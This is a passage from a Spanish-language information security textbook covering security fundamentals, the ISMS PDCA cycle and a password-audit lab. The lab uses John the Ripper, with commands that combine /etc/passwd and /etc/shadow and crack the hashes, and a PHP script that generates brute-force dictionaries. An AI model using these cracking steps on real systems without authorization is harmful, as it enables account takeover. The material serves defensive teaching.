Sie sind auf Seite 1von 608

SEGURIDAD DE LA INFORMACIN

Contenido
Fundamentos sobre la inseguridad de la informacin,
Et vaonlineF
un enfoque pragmtico

Armando Carvajal
Mster en seguridad informtica - Universidad Oberta de Catalunia
Especialista en construccin de software para redes - Uniandes
Ing. Sistemas Universidad Incca de Colombia
Pagina web: http://www.globalteksecurity.com
e-mail: armando.carvajal@globalteksecurity.com

Colombia, Junio de 2012

INCLUYE DVD

CON

LINUX

OPEN SOURCE BACKTRACK

Fundamentos sobre la inseguridad de la


informacin un enfoque pragmtico

Armando Carvajal

ISBN 0-000-00000-0

Editorial XXXXXXXXXXXXXXXXX, Bogot, Colombia

Contenido

Prlogo
Prefacio
Agradecimientos
Acerca de los autores y coautores

Anexos

Prefacio

De qu trata este libro:


La sociedad de la informacin y las nuevas tecnologas de comunicaciones plantean la necesidad de
mantener la confidencialidad de la informacin que soportan los sistemas de las organizaciones; para ello, es
especialmente importante elegir e implantar los sistemas y mtodos de seguridad idneos que protejan las
redes y sistemas ante eventuales amenazas.

Objetivo del libro:


El ncleo del negocio no debe parar, es la capacitacin especializada la que conforma profesionales lderes
en seguridad informtica para que implementen y gestionen de manera eficaz sus sistemas de informacin
en forma segura, para cumplir con ese objetivo general los alcances especficos que busca este libro son:

Especializar a los responsables en comunicaciones, informtica y reas afines en el anlisis, diseo,


implantacin y evaluacin de soluciones de seguridad Informtica que respondan a los riesgos
corporativos relacionados con el tratamiento automtico de la informacin
Capacitar al estudiante en el desarrollo de procesos de mejoramiento y optimizacin de sistemas de
seguridad informtica mediante la apropiacin, adaptacin y creacin de tecnologas de punta en
seguridad informtica
Formar al estudiante para que haga gerencia, administre y gestione proyectos de seguridad de la
informacin de alta tecnologa teniendo como perspectiva los riesgos inherentes del sistema de
informacin corporativo

Tmas no cubiertos:
No estn incluidos en este libro la seguridad en dispositivos de control industriales, la creacin de virus y
malware como los botnets, no incluye el monitoreo de la seguridad y el anlisis centralizado de logs.

Motivacin para escribir este libro:


El autor cree que la seguridad de la informacin, por ser tan especializada y por el alto grado creciente de
dependencia de las organizaciones respecto de las nuevas tecnologas, nos obliga a compartir experiencias
entre los investigadores de todas las organizaciones, nos hace ms responsables de su prctica y difusin,
nos sugiere incluir a los profesionales de nivel interdisciplinario para que la seguridad de la informacin
descienda de la alta gerencia hasta los niveles ms operativos de las instituciones, es decir la seguridad de la
informacin debe iniciar en los niveles estratgicos pasando por los niveles tcticos hasta llegar a los niveles
operativos mediante la creacin de sistemas de gestin en seguridad de la informacin.
Otra motivacin para escribir el texto es el querer llegar a las poblaciones mas alejadas del pas, a las
poblaciones mas humildes qu social y econmicamente tienen mayor dificultad para acceder a la
informacin especializada en seguridad de la informacin. Las guas y prcticas de laboratorios suministradas
en el presente texto cumplen con metodologas prgmaticas basadas en la universidad virtual que permiten
agudizar los sentidos del investigador para poder ver, tocar y digerir la no tan clara relacin entre seguridad
e informacin.

Prefacio
Audiencia:
Estudiantes de maestras y especializaciones en ingenieras, profesionales que laboren en el sector de las
redes de computadores y telecomunicaciones con responsabilidades en seguridad informtica.

Resumen del libro:


Este documento inicia con una introduccin a la seguridad informtica, y pretende explorar las variables ms
importantes de un sistema de seguridad de la infomacin como son confidencialidad, integridad y
disponibilidad, se revisa la norma ISO 27002 e ISO 27001 para proponer el sistema de gestin de seguridad
de la informacin, se profundiza en el anlisis de riesgos y el anlisis de impacto del negocio como base
fundamental del sistema de gestin de seguridad de la informacin.
Es apasionante entender como actan los atacantes por ello en forma prctica se hace exploracin de
puertos de red, se hace en forma practica una auditoria de contraseas con el software Jhon The Ripper,
se revisan los ataques desde el punto de vista de vulnerabilidades, se describe como los ataques buscan
siempre las mismas variables del sistema.
En la vida real, la defensa se estructura mejor cuando se sabe como se hacen los ataques, por ello se trata
en forma practica los ataques de inyeccin SQL, se hacen ataques de denegacin de servicios como SMURF,
SNORK y SYN Flood, se muestra la ejecucin del exploit IIS5.0 Web DAV y RPC contra un servidor
Windows 2003. Se muestra como blindar los servicios de red, como corregir los errores del software en los
sitemas operativos haciendo los servicios de red seguros como el SSH y el correo electrnico.
Para proteger los servidores web, los documentos confidenciales que se intercambian por correo electrnico
y las transacciones comerciales entre aplicaciones cliente / servidor se explora en forma profunda la tcnica
OpenSSL y GNU PG sobre los sistemas operativos Windows y Linux terminando con la infraestructura de
llaves pblicas PKI.
Se explora en detalle la seguridad de aplicaciones mostrando los errores ms comunes como el permitir
metacaractres en los formularios de entradas web, la inyeccin SQL y el cross site scripting o XSS.
Finalmente el texto profundiza en la investigacin forense y para trazar perfiles del enemigo se hace un
laboratorio prctico con HONEYPOTS.

Agradecimientos

a
b
c

Acerca de los autores y coautores

Armando Carvajal: Es Ingeniero de Sistemas de la Universidad INCCA de Colombia, cuenta con un


postgrado en Construccin de Software para redes de la Universidad de los Andes y una maestra en
Seguridad de la Informacin de la Universidad Oberta de Catalua (Espaa).
Se desempea como Arquitecto de soluciones en la empresa globalteksecurity, organizacin especializada en
seguridad de la informacin en Colombia.
Ha sido conferencista a nivel Latinoamricano y tiene experiencia dictando postgrados en seguridad
informtica, teleinformtica y construccin de software para redes para las universidades: Pontificia
Bolivariana de Bucaramaga (Esp seg Inf), ICESI en Cali (Maestra en gestin de TI), Universidad Autonoma
de Colombia, Universidad Incca de Colombia y la Universidad minuto de Dios Uniminuto.
Escribi en los aos 2007 y 2008 artculos sobre seguridad de la informacin para la revista europea hakin9
cuyo portal muestra los artculos mencionados www.hakin9.org.

PARTE I
FUNDAMENTOS, SGSI, ANALISIS DE
IMPACTOS DE LOS NEGOCIOS,
CUMPLIMIENTO DE NORMAS Y
AUDITORIAS A LOS SISTEMAS DE
SEGURIDAD

Capitulo 1
Fundamentos de la inseguridad de la
informacin
Objetivos:

Diferenciar entre la seguridad informtica de la seguridad de la informacin

Diferenciar las variables de un sistema de seguridad respecto de la confidencialidad, integridad y


disponibilidad

Llamar la atencin en el investigador respecto de la independencia de los ataques y el grado de


dificultad para ejecutarlos

Introducir los sistemas de gestin de seguridad de la informacin

Profundizar en el anlisis y gestin de riegos como la base fundamental de los sistemas de gestin
de seguridad de la informacin

Diferenciar los conceptos fundamentales falla, amenaza, riesgo e impacto

Generar en el estudiante foco por la continuidad del negocio


1.0

Que es seguridad Informtica

Que es seguridad informtica?


 Un

sist em a de inform acin se


considera seguro si se encuent ra
libre de t odo riesgo y dao
 Es im posible garant izar la
seguridad o la inviolabilidad
absolut a de un sist em a inform t ico,
por ello es preferible ut ilizar el
t erm ino f ia bilid a d

Figura 1-1:Definicin de seguridad informtica

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

En Europa se utiliza con ms frecuencia la expresin Fiabilidad informtica. La figura 1-1 enfatiza el
concepto de que un sistema de informacin se considera seguro si se encuentra libre de todo riesgo y dao,
pero es imposible garantizar la seguridad o la inviolabilidad absoluta de un sistema informtico, en el
interesante libro [Moron Lerma, Esther, (2002), Internet y derecho penal: Hacking y otras conductas ilcitas
en la red. Editorial Aranzadi S.A] se sugiere de preferencia utilizar el trmino fiabilidad.
Importante
Este trmino fiabilidad se usa con mucha frecuencia en Europa

No se podr entender la seguridad informtica como un concepto cerrado consecuencia de la aplicacin


mecnica de una serie de mtodos, sino como un proceso que se puede ver comprometido en cualquier
momento de la forma menos sospechada, La Seguridad Informtica es un proceso continuo, donde la
condicin de los controles de la institucin es apenas un indicador de su postura de seguridad. [FFIEC
Information Security IT Examination Handbook, Diciembre de 2002].
La seguridad informtica es una idea subjetiva [Schneier Bruce, Beyond Fear. Thinking Sensibly about
security in an uncertain world. Copernicus Books. 2003], pero la inseguridad informatica es una idea
objetiva, es por ello que no es facil tener control absoluto sobre la seguridad informatica, porque lo subjetivo
es incierto, esto no ocurre con la inseguridad informatica, que sabemos a ciencia cierta, que nos va a ocurrir
si continuamos conviviendo irresponsablemente con las vulnerabilidades y los riesgos inherentes de nuestros
activos de los sistemas informaticos.
La idea del seguro de vida ayuda a explicar la naturaleza contradictoria de los conceptos seguridad e
inseguridad informatica, por ejemplo cuando compramos un seguro de vida estamos asegurando un bien
subjetivo la vida, lo hacemos para garantizar que cuando ocurra el siniestro, es decir para cuando llegue la
muerte, haya una indeminzacion por la falta de los ingresos economicos que aportaba el asegurado cuando
este estaba vivo.
Notese que la muerte es lo mas seguro en la vida, o alguien tiene dudas de que algun dia morira?, por lo
tanto lo mas seguro en la vida es la muerte.
Entonces parece que hay un error en el nombre que le da la aseguradora a la poliza de seguros, se le llama
generalmente Seguro de Vida cuando deberia ser Seguro de Muerte, es interesante que en informatica
ocurra el mismo error: se dice Seguridad Informatica cuando deberiamos decir Inseguridad Informatica.
La inseguridad informtica es pues una estrategia de reflexin y accin para repensar la seguridad
informtica
como
una
disciplina
que
es
al
mismo
tiempo
sentimiento
y
realidad.
[http://www.acis.org.co/archivosAcis/Inseguridad.doc, Jeimy Cano, 2004]

Importante
Medite esta pregunta: Tiene dudas sobre la existencia de vulnerabilidades y riesgos informaticos en su
organizacion?

1.1

Propiedades de un sistema seguro

Hay 3 variables o parmetros que determinan el estado de un sistema informtico, estos son:


Confidencialidad: Los recursos del sistema solo pueden ser accedidos por los elementos autorizados

Integridad: Los recursos del sistema solo pueden ser modificados o alterados por los elementos
autorizados

Disponibilidad: Los recursos del sistema deben permanecer accesibles a los elementos autorizados

La figura 1-2 enfatiza las propiedades mas importantes que de deben tener en cuenta en todo sistema de
informacin.

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Propiedades de un sistema


Confidencialidad: Los recursos del sistema


solo pueden ser accedidos por los
elementos autorizados
Integridad: Los recursos del sistema solo
pueden ser modificados o alterados por los
elementos autorizados
Disponibilidad: Los recursos del sistema
deben permanecer accesibles a los
elementos autorizados
6

Figura 1-2: Propiedades de un sistema informatico.

Un ejemplo de vida ayuda a explicarse mejor: Si a usted le abren las puertas de su automovil sin que usted
suministre las llaves, entonces el atacante le impacto la variable confidencialidad.
Pero si le hurtan el reproductor MP3/DVD el atacante habr impactado la variable integridad.
Finalmente si le hurtan el carro la variable afectada es la disponibilidad pues no tendr vehiculo para
transportarse.

1.2

Tipos de ataques

Modificacin: Tambin llamados webdefacement cuando atacan los portales web, buscan comprometer la
confidencialidad y la integridad del sistema, por ejemplo cuando un atacante modifica la pgina web de una
organizacin sin previa autorizacin
Fabricacin: comprometen la integridad del sistema por ejemplo al insertar un nuevo usuario en el sistema
operativo
Interceptacin: Busca comprometer la confidencialidad del sistema, un ejemplo son los key loggers o
spyware y los Sniffers
Interrupcin: Comprometen la propiedad Disponibilidad un ejemplo serian los ataques de denegacin de
servicios o DoS.
Veamos la figura 1-3 respecto de que propiedades buscan los ataques y su clasificacin:

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Que atacan?






Propiedades
______________
Confidencialidad
Integridad
Disponibilidad








Ataques
_______________
Modificacion:
webdefacement
Fabricacion: Insertar
nuevo usuario
Interceptacion: Key
loggers
Interrupcion: Dos
7

Figura 1-3: Que atacan los intrusos.

1.3

Grado de dificultad para realizar un ataque

Hoy en da la mayora de los ataques estn automatizados en CDs auto ejecutables que son usados por los
atacantes y a su vez por los auditores de seguridad para evaluar los sistemas evaluados.
Estadsticamente se dice que a medida que pasan los aos es ms fcil hacer un ataque por que estos
estarn cada vez mejor documentados y automatizados.

Tomado de: http://spectrum.ieee.org/image/1887209

Figura 1-4: No se requieren grandes habilidades tcnicas para hacer hacking.


Basados en la anterior figura 1-4 se puede concluir que al pasar de los aos ser mucho mas fcil hacer un
ataque contra un sistema vulnerable, llama la atencin el cruce de las coordenadas x,y en el uso de Sniffers
para hacer ataques.

1.4

Activos que se deben proteger

El concepto de seguridad lleva asociado otro concepto que le da sentido: El valor, solo se debe proteger
aquello que creemos tiene un valor importante para nosotros, la seguridad debe estar ntimamente asociada
al valor que le damos a los objetos que deseamos proteger.

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

La informacin: En esencia la informacin es lo que mas nos importa proteger, porque es propio de la
organizacin especifica, ya que sin duda alguna constituye uno de los mayores activos de cualquier
organizacin.
Importante
Por ello se deben destinar los recursos necesarios para su proteccin y uso en forma controlada ya que
constituye su conocimiento, su diferenciador ante la competencia y los clientes, que finalmente determinan
la continuidad del negocio.

2.0

Modelo de seguridad informtica PDCA

Dada la complejidad del problema de la seguridad cuando se trata como un todo dentro de la organizacin,
surge de forma natural la necesidad de la gestin de la seguridad por lo que las organizaciones deben
plantearse un sistema de gestin de la seguridad de la informacin SGSI. El objetivo primordial de los SGSI
es salvaguardar la informacin, para empezar se debe identificar que activos de informacin deben ser
protegidos y en que grado, luego debe aplicarse el plan PDCA PLAN DO CHECK ACT, es decir
Planificar, Hacer, Verificar, Actuar y volver a repetir el ciclo.
La seguridad consiste en la realizacin de las tareas necesarias para garantizar los niveles de seguridad
exigibles en una organizacin: En consecuencia la organizacin debe entender la seguridad como un proceso
que nunca termina pues Los riesgos nunca se eliminan en cambio se gestionan. De los riesgos se
desprende que los problemas de seguridad no son nicamente de ndole tecnolgica por ello nunca se
eliminan en su totalidad.
La figura 1-5 muestra un SGSI donde siempre se cumplen cuatro niveles repetitivos que nunca terminan,
inician por Planificar y termina en Actuar, reciclando en mejoras continuas:

PLANIFICAR
PLAN

HACER
DO

VERIFICAR

ACTUAR

CHECK

ACT

MEJORAS CONTINUAS

Figura 1-5: PDCA - PHVA.


Anlisis de cada nivel

PLANIFICAR (Plan): Establecer el contexto

10

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

En este nivel se crean las Polticas de seguridad


Se describe el alcance del SGSI
Se hace anlisis de riesgos
Seleccin de controles
Estado de aplicabilidad

HACER (Do): Implementar el sistema

Implementar el sistema de gestin de seguridad de la informacin


Implementar el plan de riesgos
Implementar los controles

VERIFICAR (Check): Monitorea y revisa

Monitorea las actividades


Revisa
Hace auditorias internas

ACTUAR (Act): Mantenimiento y mejora

Implementa mejoras
Acciones preventivas
Acciones correctivas

Importante
Es recomendable seguir la norma internacional ISO/IEC 27002:2005 (antes 17799:2005) que considera la
organizacin como un todo y tiene en cuenta todos los posibles aspectos que se pueden ver afectados ante
los posibles incidentes que se pueden producir. No importa el tamao de la organizacin.

La figura 1-6 muestra que tambien puede verse el sistema de gestin PDCA como un proceso que
busca disminuir el impacto en el negocio de cualquier variable que tenga relacin con la
informacion, este proceso debe estar en la mitad de las partes interesadas para que se cumpla un
ciclo de desarrollo y mantenimiento que llevar a la organizacin hacia mejoras continuas la y
prediccin de riesgos.

11

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Planificar
Establecer el SGSI

Hacer
Partes
Interesadas.

Implementar
y operar el
SGSI

Ciclo de
desarrollo,
mantenimiento y
mejora continua.

Mantener y
mejorar
continuamente

Partes
Interesadas.

Actuar

Requisitos y
Expectativas
de
Seguridad
de la
Informacin.

Monitorear, medir
y revisar el SGSI
Verificar

Seguridad
de la
Informacin
Gestionada

Figura 1-6: Ciclo indefinido del modelo PDCA - PHVA.


Estos son algunos sitios en el web donde existe informacin importante sobre la gestin de la seguridad de
la informacin:

Governing for Enterprise Security - http://www.cert.org/governance/


Icontec en Colombia http://www.icontec.org.co
ISO http://www.iso.org

12

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

2.1

El Mayor problema

El mayor problema de hoy es que los servicios que ms utilizamos no fueron pensados para ser seguros, es
decir la informacin viaja en las diferentes redes sin cifrar por los canales inseguros, adicionalmente los
servicios de red no saben si la persona que los esta utilizando est autorizada para acceder la informacin
que suministra el msmo. Los usuarios mal intencionados utilizan herramientas que se ponen a la escucha y
pueden ver todo el trafico de red, estas herramientas se llaman sniffers y se usan con frecuencia por los
administradores de redes.
La figura 1-7 muestra un usuario con el cliente de correo Microsoft Outlook que se siente seguro por que el
cliente de correo le pide la clave de la cuenta de correo y muestra asteriscos en la pantalla para que este no
sea observado por personas que estn a su alrededor.

Problemtica: Estn viendo mis


passwords cuando leo correo?

Figura 1-7: Estan viendo mis claves cuando leo correos electrnicos?
Lo que el usuario comn y corriente no sabe es que el trfico de la red puede ser visto con un sniffer como el
popular ethereal ahora llamado wireshark.
Definitivamente la nica forma para que los sniffers no vean los datos en claro es cifrando el canal para los
puertos necesarios en la transferencia de datos.
Se dice que el uso de la criptografa es una forma de proteger la confidencialidad en la era de la informacin.
Importante
El concepto de seguridad informtica debe ser enfocado como un proceso global, interdisciplinario, holistico,
por ello algunos especialistas creen que desde el punto de vista legal la seguridad es el conjunto de
bienes y derechos personales o de la organizacin que deben ser protegidos y preservados, tanto del mal
uso involuntario como del uso ilcitopor ende no debe ser enfocado nicamente como un tema tecnolgico.

2.2

Capacitacin en seguridad Informtica

Un plan de gestin de seguridad informtica no puede existir sin capacitacin especializada en las nuevas
amenazas y obviamente debe hacer nfasis en como contrarrestar las mismas. La certificacin en seguridad
que ms se busca hoy en da es la CISSP o profesional en seguridad informtica certificado, las estadsticas
muestran un 48% de preferencia por esta ertificacin.

13

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Figura 1-8: Certificaciones ms buscadas.


Segn la figura 1-8 la certificacin mas buscada es la CISSP, le siguen la GIAC, CISA, CISM, SSCP y otras
que empiezan a ser requeridas por los profesionales de redes y seguridad de la informacion.
En los negocios actuales se buscan ventas predecibles, gastos predecibles, vulnerabilidades predecibles,
incidentes predecibles, profesionales con capacidades y conocimientos predecibles es por ello que el autor
recomienda contratar profesionales con certificaciones, especializaciones o maestrias que hagan predecible la
gestin de la seguridad de la informacin, asi estos profesionales no cuenten con basta experiencia en
campo.

2.3 El rompecabezas: La red de datos


La red de hoy es un rompecabezas pues los profesionales en informtica deben hacer hablar e interactuar
muchos elementos activos de red de diferentes fabricantes con fallas o vulnerabilidades inherentes.
El mayor objetivo, la meta mas alta, la mayor dificultad ser obtener indicadores, mtricas que correlacionen
las diferentes soluciones, aplicaciones, usuarios, procesos y componentes de la infraestructura. Un ejemplo
de tipo tcnico debera cruzar la informacin de los diferentes logs del sistema de seguridad y mostrar
tendencias que en forma proactiva que nos permitan poner controles para disminuir el impacto.
Grficamente la figura 1-9 nos muestra que la problemtica es como tener un rompecabezas, un
rompecabezas donde se tienen tecnologas heterogneas, software de terceros, software hecho en casa,
proveedores de soluciones de seguridad que no tienen interfaces entre sus sistemas, procesos de negocios,
humanos o usuarios del sistema quien es el responsable de integrar todos estos elementos heterogneos
con sus fallas inherentes?
La respuesta sera: Nosotros los responsables de la informtica en nuestras organizaciones somos los
primeros llamados a tomar decisiones al respecto, por eso este libro busca ayudar en los primeros pasos, los
primeros auxilios para empezar tan exigente tarea.
Por lo tanto la primera tarea que debemos tener en cuenta es el analisis de riesgos, es decir antes de
empezar la tarea de gestion de seguridad informtica que busca la implementacion de controles por
soluciones existentes, primero se debe hacer un analisis de riesgos que es el paso fundamental de la gestion
de la seguridad de la informacin. La seguridad de la informacin es un concepto mas grande que engloba la
seguridad informtica.

14

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

La red de hoy: Un rompecabezas

IDS

Firewall y Proxy

End device

Ancho de Banda

Correo

Anlisis de
Vulnerabilidades

Filtro Web
Broker de aplicaciones

Web

Aplicaciones Crticas

Antiespam y antivirus

26

Figura 1-9: La red de hoy: un rompecabezas.

2.4 Rompiendo claves con John The Ripper


Este es uno de los crackers ms populares de contraseas. Puede descargarse desde la URL
http://www.openwall.com/john y se encuentra para distintos sistemas operativos, aunque inicialmente se
dise para sistemas UNIX. Esta clase de informacin debe ser accesible a cualquier persona en forma
pblica pues esto permite que la humanidad tenga conciencia de que nuestros sistemas crticos del negocio
estn siendo accedidos por usuarios con contraseas dbiles que as mismo debilitan nuestra seguridad de la
informacin.
Estas herramientas nos permiten a los administradores del sistema comprobar la solidez de las contraseas
para disminuir ataques por fuerza bruta, y ataques de diccionarios. Es decir permiten la comprobacin
proactiva de las contraseas. El conocer nuestras debilidades nos permite mejorar las polticas de seguridad.
La principal finalidad de este tipo de programas es detectar claves / passwords dbiles que vulneren la
seguridad del sistema.
Su uso es legal en la mayor de los pases, pues su finalidad fundamental es la bsqueda de claves /
passwords dbiles que vulneren el sistema de seguridad. Ahora cualquier elemento puede ser utilizado para
fines buenos o malos, solo nosotros decidimos el uso que le damos a las herramientas.

2.4.1

Utilidades de estas aplicaciones para los administradores de sistemas

Permiten probar las polticas de seguridad en cuanto a las claves / passwords dbiles para saber si se estn
respetando. El administrador basado en los reportes de la herramienta John informa a los usuarios del
aseguramiento de sus claves.
Por ejemplo se debera programar semanalmente la ejecucin de estas pruebas para evaluar la fortaleza de
las claves / passwords de los servidores. Cuando se encuentren claves dbiles se debe forzar a los usuarios
su cambio.
Ahora esto debe estar acompaado de una poltica de seguridad de la informacin que dentro del sistema
operativo y en las aplicaciones del negocio no se permitan: contraseas de menos de 8 caracteres,
contraseas formadas con datos conocidos del usuario, contraseas que no mezclen maysculas y
minsculas, contraseas formadas por palabras de diccionarios y contraseas que ya se hayan usado antes.

2.4.2

Activacin de la herramienta

Para activar la herramienta desde un LIVE CD de seguridad como Back Track, se deben seguir los
siguientes pasos:

15

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

En la versin Back Track 4.0, la carpeta principal del software se consigue con el comando:
# cd /pentest/password/jtr
En la versin Back Track 5.0, la carpeta principal del software se consigue con el comando:
# cd /pentest/password/john
Existe un archivo de claves por defecto muy utilizado llamado passwords.lst, que al ejecutar el comando:
# wc l password.lst mostrar en promedio unas 3.115 lneas o palabras comunes de diccionario.
Al crear un usuario por ejemplo acarvaja con el comando useradd acarvaja; passwd acarvaja debe
notarse que el password siempre contiene 13 caracteres sin importar el tamao de la clave de entrada,
adems se encuentra que al generar el mismo password varias veces la clave cifrada no es igual, esto se
debe a la SALT que son los dos primeros caracteres de la contrasea.
Con la herramienta unshadow /etc/passwd /etc/shadow > passwd.1 se genera un solo archivo/fichero donde
se fusionan usuarios y su clave cifrada respectivamente, pero tambin funciona si se utiliza el archivo de
claves /etc/shadow en forma individual.
Al ejecutar el comando:
# ./john passwd.1
Se podran ver las claves en texto en claro. Al dejar el password igual al nombre del usuario se obtiene la
siguiente clave cifrada: DR4V/VN5epYJU, el tiempo para descifrarlo en el laboratorio fue de 2,403 seg.
Si usamos el password al revs como el nombre del usuario: ajavraca se obtiene la siguiente clave cifrada:
zYU39Cr4f14n, el tiempo para descifrarlo fue de 2,704 seg.
La figura 1-10 muestra que si se utiliza un password que satisfaga las condiciones habituales de seguridad:
Con el texto en claro @*?xxx! se obtiene la siguiente clave cifrada: geU8xxx0UCKCk, pero no se puede
descifrar la clave despus de 4 semanas.

Usuario
acarvaja
acarvaja
acarvaja
acarvaja
acarvaja
acarvaja

Contrasea texto en
claro
Sis
Sist
Siste
Sistem
Sistema
Sistemas

Contrasea cifrada
d/xIxxJYTO292
Jt7jCsUUvCWJ
P5hnpqJUASIzQ
LrxcAeTTDWOBs
hzYQLo1RxiIEQ
gsZ.WUm.ozkgQ

Segundos para
descifrar
10,487
17,302
15,044
16,004
146,851
2.604,277

Figura 1-10: Tiempo para descifrar una clave de usuario.


Definitivamente aumenta el tiempo necesario en ciclos de cpu al aumentar los caracteres de la contrasea.
Hay un resultado de unos 15 segundos para la contrasea siste, es decir para 5 caracteres, nicamente en
esta clave disminuye el tiempo mientras que para el resto de la muestra es creciente.
Cuando se llega a 8 caracteres se necesitan unos 44 minutos en promedio, entonces se puede concluir que
siempre debemos usar mnimo 8 caracteres para las contraseas seguras pues el tiempo para romperlas
seria mucho mayor.

16

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

3000
2500
2000
1500

No Caracteres

1000
500
0
3

Figura 1-11: Grfica de tiempo para descifrar una clave de usuario.


Graficamente la figura 1-11 muestra que una clave de 8 caracteres es muy resistente al descifrado por
ataques de diccionario.
Pruebe ahora en un sistema Linux cambindole al usuario la clave por una clave segura generada por el
sistema operativo:
# dd if=/dev/urandom count=256 bs=1

2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c -16

Si el lector cuenta con tiempo se recomienda probar las anteriores claves y verificar como se incrementa la
dificultad de hacer un ataque por diccionario para esas claves.
Matemticamente podemos afirmar que: Si X representa el nmero de caracteres del alfabeto, n representa
el nmero mximo de caracteres de la clave, j representa el menor nmero de caracteres de la clave mas
corta y k un contador de 0 a j, entonces el nmero de claves posibles est dado por la siguiente frmula:


 
  
  
     


Para un alfabeto de 6 caracteres (X=6) que genere claves cortas de mnimo 2 caracteres (j=2) y claves de
mximo 3 caracteres (n=3) tendremos un total de 252 claves.
Razonamiento: Si el alfabeto fuera el teclado de un usuario americano representado por los siguientes
caracteres:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()_=+\|]}[{'\";:/?.>,<
Cuantas posibles claves de mnimo 4 caracteres hasta mximo 8 caracteres generara ese alfabeto de 93
caractres?
Teoricamente tendramos 5.6 x 10 ^15 claves y 4.51 x 10 ^16 bytes = 45 Petabytes de almacenamiento.

Esta es una propuesta de software en lenguaje PHP para generar las claves del mencionado alfabeto:
<?php
/*
-------------- ------------------------------------------------------------Programa
: alfabeto8.php...................................................
Objetivo
: Genera diccionario fuerza bruta dado un alfabeto.
Sis.Operativo : Linux/Unix/Windows..........................................
Fecha
: 05 de agosto de 2011.......................................
Programadores : armando.carvajala@globalteksecurity.com...........
-------------- ------------------------------------------------------------

17

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

*/
$txt_alfabe= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()_=+\|]}[{'\";:/?.>,<";
$num_caralf=strlen($txt_alfabe) - 1;
$cuantos = 0;
/*
Toma argumentos del usuario para continuar la generacion de claves
recibiendo 8 caracteres del alfabeto segun la posicion generada ejemplo:
aac+.@9< y retorna la posicion dentro del alfabeto 0 0 2 77 90 65 61 93
*/
@$par01=$GLOBALS['argv']['1'];
if ( $par01 ) {
$val01=strpos($txt_alfabe,$par01);
} else {
$val01=0;
}
@$par02=$GLOBALS['argv']['2'];
if ( $par02 ) {
$val02=strpos($txt_alfabe,$par02);
} else {
$val02=0;
}
@$par03=$GLOBALS['argv']['3'];
if ( $par03 ) {
$val03=strpos($txt_alfabe,$par03);
} else {
$val03=0;
}
@$par04=$GLOBALS['argv']['4'];
if ( $par04 ) {
$val04=strpos($txt_alfabe,$par04);
} else {
$val04=0;
}
@$par05=$GLOBALS['argv']['5'];
if ( $par05 ) {
$val05=strpos($txt_alfabe,$par05);
} else {
$val05=0;
}
@$par06=$GLOBALS['argv']['6'];
if ( $par06 ) {
$val06=strpos($txt_alfabe,$par06);
} else {
$val06=0;
}
@$par07=$GLOBALS['argv']['7'];
if ( $par07 ) {
$val07=strpos($txt_alfabe,$par07);
} else {
$val07=0;
}
@$par08=$GLOBALS['argv']['8'];
if ( $par08 ) {
$val08=strpos($txt_alfabe,$par08);
} else {
$val08=0;
}
$log="alfabeto8.log";
for ($col01 = $val01; $col01 <= $num_caralf; $col01++) {
for ($col02 = $val02; $col02 <= $num_caralf; $col02++) {

18

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

for ($col03 = $val03; $col03 <= $num_caralf; $col03++) {


$diccionario="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]".".txt";
$fecha=date("d-m-y g:i:sa",time());
@file_put_contents($log,"Inicia $diccionario: $fecha Parametros: $par01 $par02 $par03 $par04 $par05
$par06 $par07 $par08\n", FILE_APPEND);
for ($col04 = $val04; $col04 <= $num_caralf; $col04++) {
$dato="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]$txt_alfabe[$col04]"."\n";
@file_put_contents($diccionario,$dato, FILE_APPEND);
for ($col05 = $val05; $col05 <= $num_caralf; $col05++) {
$dato="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]$txt_alfabe[$col04]$txt_alfabe[$col05]"."
\n";
@file_put_contents($diccionario,$dato, FILE_APPEND);
for ($col06 = $val06; $col06 <= $num_caralf; $col06++) {
$dato="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]$txt_alfabe[$col04]$txt_alfabe[$col05]$t
xt_alfabe[$col06]"."\n";
@file_put_contents($diccionario,$dato, FILE_APPEND);
for ($col07 = $val07; $col07 <= $num_caralf; $col07++) {
$dato="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]$txt_alfabe[$col04]$txt_alfabe[$col05]$t
xt_alfabe[$col06]$txt_alfabe[$col07]"."\n";
@file_put_contents($diccionario,$dato, FILE_APPEND);
for ($col08 = $val08; $col08 <= $num_caralf; $col08++) {
$dato="$txt_alfabe[$col01]$txt_alfabe[$col02]$txt_alfabe[$col03]$txt_alfabe[$col04]$txt_alfabe[$col05]$t
xt_alfabe[$col06]$txt_alfabe[$col07]$txt_alfabe[$col08]"."\n";
@file_put_contents($diccionario,$dato, FILE_APPEND);
}
$val08=0;
}
$val07=0;
}
$val06=0;
}
$val05=0;
}
$val04=0;
}
$val03=0;
$fecha=date("d-m-y g:i:sa",time());
@file_put_contents($log,"Termina $diccionario: $fecha \n", FILE_APPEND);
}
$val02=0;
}
$val01=0;
print "Registros generados\n";
?>

Conclusiones

Existen en Internet herramientas similares para evaluar la vulnerabilidad de las claves o passwords
Son fciles de encontrarlas y usarlas para hacer auditoras o acciones maliciosas
Es evidente que el 90% de los passwords son demasiado vulnerables
Las herramientas para romper claves pueden ser utilizadas para forzar la entrada a un sistema
cuando originalmente fueron creadas para probar la debilidad de las claves o passwords por parte
de los administradores de los sistemas informticos
Si se puede generar un archivo/fichero de claves compuestas de 4 a 8 caracteres basados en un
